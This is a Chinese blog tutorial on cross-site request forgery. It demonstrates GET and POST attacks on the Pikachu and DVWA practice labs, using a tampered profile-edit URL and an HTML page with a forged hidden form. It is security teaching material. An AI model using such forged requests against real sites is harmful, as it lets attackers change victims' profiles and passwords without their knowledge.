CSRF漏洞

CSRF漏洞

1.CSRF原理

CSRF叫做跨域请求伪造(Cross-Site Request Forgery)是一种诱骗用户中技以此来伪造用户请求来对用户数据进行恶意修改的攻击手段。CSRF的影响可以做到以用户的名义修改个人信息,修改密码甚至财产操作等。其攻击原理就是在已知网站请求地址并且用户登录状态下,诱骗用户来获取到用户身份认证信息,然后代替用户去完成已知请求地址的网站功能部分。

CSRF和XSS的区别就是,XSS是以攻击者的身份获取用户信息从而达成某种目标,CSRF是以用户的身份在用户不知情的情况下完成一些操作来达成目标。

CSRF漏洞发生前提:

1.登录信任网站A,并在本地生成Cookie。

2.在不退出的情况下,访问危险网站B。

如果不满足以上两个条件中的一个,就不会受到CSRF的攻击。

在这里插入图片描述

2.CSRF的分类和攻击

CSRF可以分为GET型和POST型。GET型的CSRF攻击是请求数据以GET方式发送给网站后端,通过对URL地址的修改来实施攻击。POST型的CSRF是通过伪造表单来修改用户请求的。

下面以pikachu来演示:

GET型CSRF

在这里插入图片描述

我们登录之后是如下界面,可以修改个人信息,我们现在先正常修改个人信息:

在这里插入图片描述

在这里插入图片描述

我们现在通过抓包获取到url请求地址:

在这里插入图片描述

http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=nv&phonenum=123123&add=uk&email=lili%40pikachu.com&submit=submit

然后对URL地址进行修改变成我们操作之后的URL:

http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=122342343&add=cn&email=lili%40pikachu.com&submit=submit

然后我们在用户登录的情况下欺骗用户点击url:

在这里插入图片描述

POST型CSRF

POST型CSRF我们想要修改用户个人信息的话,就要去伪造页面了,我们先抓包抓到数据:

在这里插入图片描述

然后我们使用如下代码进行伪造:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST" id="myForm">
      <input type="hidden" name="sex" value="nvnv" />
      <input type="hidden" name="phonenum" value="123456" />
      <input type="hidden" name="add" value="canada" />
      <input type="hidden" name="email" value="lili&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="submit">
    </form>
  </body>
</html>

然后我们在用户登录的情况下欺骗用户进入这个页面:

在这里插入图片描述

实战修改密码:

我们首先登录DVWA,看到有一个修改密码页面,我们抓包获取数据之后尝试伪造:

在这里插入图片描述

在这里插入图片描述

然后我们欺骗用户点击:

在这里插入图片描述

发现密码已经被修改。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值